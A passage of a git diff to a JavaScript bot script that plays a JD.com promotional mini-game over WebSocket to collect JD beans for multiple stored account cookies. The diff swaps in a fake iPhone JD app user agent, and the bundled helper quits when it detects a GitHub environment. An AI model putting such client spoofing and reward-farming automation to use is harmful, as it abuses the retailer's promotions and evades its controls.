s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_beauty.js b/jd_beauty.js index d49e3d3..2532f2e 100755 --- a/jd_beauty.js +++ b/jd_beauty.js @@ -19,7 +19,13 @@ $.init = false; // const bean = 1; //兑换多少豆,默认是500 //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message, helpInfo, ADD_CART = false; - +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) @@ -90,7 +96,7 @@ async function accountCheck() { } let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`, null, { headers: { - 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), } }); client.onopen = async () => { @@ -151,7 +157,7 @@ async function mr() { $.needs = [] let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`,null,{ headers:{ - 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), } }) console.log(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) @@ -319,17 +325,17 @@ async function mr() { } break case "produce_position_info_v2": - // console.log(`${Boolean(vo?.data)};${vo?.data?.material_name !== ''}`); + // console.log(`${Boolean(oc(() => vo.data))};${oc(() => vo.data.material_name) !== ''}`); if (vo.data && vo.data.material_name !== '') { - console.log(`【${vo?.data?.position}】上正在生产【${vo?.data?.material_name}】,可收取 ${vo.data.produce_num} 份`) + console.log(`【${oc(() => vo.data.position)}】上正在生产【${oc(() => vo.data.material_name)}】,可收取 ${vo.data.produce_num} 份`) if (new Date().getTime() > vo.data.procedure.end_at) { - console.log(`去收取${vo?.data?.material_name}`) - client.send(`{"msg":{"type":"action","args":{"position":"${vo?.data?.position}","replace_material":false},"action":"material_fetch_v2"}}`) + console.log(`去收取${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{"position":"${oc(() => vo.data.position)}","replace_material":false},"action":"material_fetch_v2"}}`) client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) - $.pos.push(vo?.data?.position) + $.pos.push(oc(() => vo.data.position)) } } else { - if (vo?.data && vo.data.valid_electric > 0) { + if (oc(() => vo.data) && vo.data.valid_electric > 0) { console.log(`【${vo.data.position}】上尚未开始生产`) let ma console.log(`$.needs:${JSON.stringify($.needs)}`); @@ -358,9 +364,13 @@ async function mr() { } break case "material_produce_v2": - console.log(`【${vo?.data?.position}】上开始生产${vo?.data?.material_name}`) + console.log(`【${oc(() => vo.data.position)}】上开始生产${oc(() => vo.data.material_name)}`) client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) - $.pos.push(vo.data.position) + if(oc(() => vo.data.position)){ + $.pos.push(vo.data.position) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } break case "material_fetch_v2": if (vo.code === '200' || vo.code === 200) { @@ -446,7 +456,6 @@ async function mr() { } break case "product_producing": - // console.log('product_producing', vo); if (vo.code === '200' || vo.code === 200) { for (let product of vo.data) { if (product.num === product.produce_num) { @@ -498,19 +507,22 @@ async function mr() { } break case "to_exchange": - if (vo?.data) { - console.log(`兑换${vo?.data?.coins/-100}京豆成功;${JSON.stringify(vo)}`) - } else { - console.log(`兑换京豆失败:${JSON.stringify(vo)}`) + if(oc(() => vo.data.coins)){ + console.log(`兑换${vo.data.coins/-100}京豆成功;${JSON.stringify(vo)}`) + }else{ + console.log(`vo.data.coins not exist:${oc(() => vo.data)}`) } break case "get_produce_material": - console.log('get_produce_material', vo?.msg); $.material = vo.data break case "to_employee": - console.log(`雇佣助力码【${vo.data.token}】`) - $.tokens.push(vo.data.token) + console.log(`雇佣助力码【${oc(() => vo.data.token)}】`) + if(oc(() => vo.data.token)){ + $.tokens.push(vo.data.token) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } break case "employee": console.log(`${vo.msg}`) @@ -527,7 +539,7 @@ function getIsvToken() { headers: { 'Host': 'api.m.jd.com', 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', 'content-type': 'application/x-www-form-urlencoded', 'Cookie': cookie @@ -562,7 +574,7 @@ function getIsvToken2() { headers: { 'Host': 'api.m.jd.com', 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', 'content-type': 'application/x-www-form-urlencoded', 'Cookie': cookie @@ -601,7 +613,7 @@ function getToken() { 'Accept-Language': 'zh-cn', 'Content-Type': 'application/json;charset=utf-8', 'Origin': 'https://xinruimz-isv.isvjcloud.com', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', 'Authorization': 'Bearer undefined', 'Cookie': `IsvToken=${$.isvToken};` @@ -617,7 +629,7 @@ function getToken() { if (safeGet(data)) { data = JSON.parse(data); $.token = data.access_token - console.log(`【$.token】 ${$.token}`) + console.log(`$.token ${$.token}`) } } } catch (e) { @@ -649,7 +661,7 @@ function TotalBean() { "Connection": "keep-alive", "Cookie": cookie, "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") } } $.post(options, (err, resp, data) => { @@ -707,4 +719,4 @@ function jsonParse(str) { } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 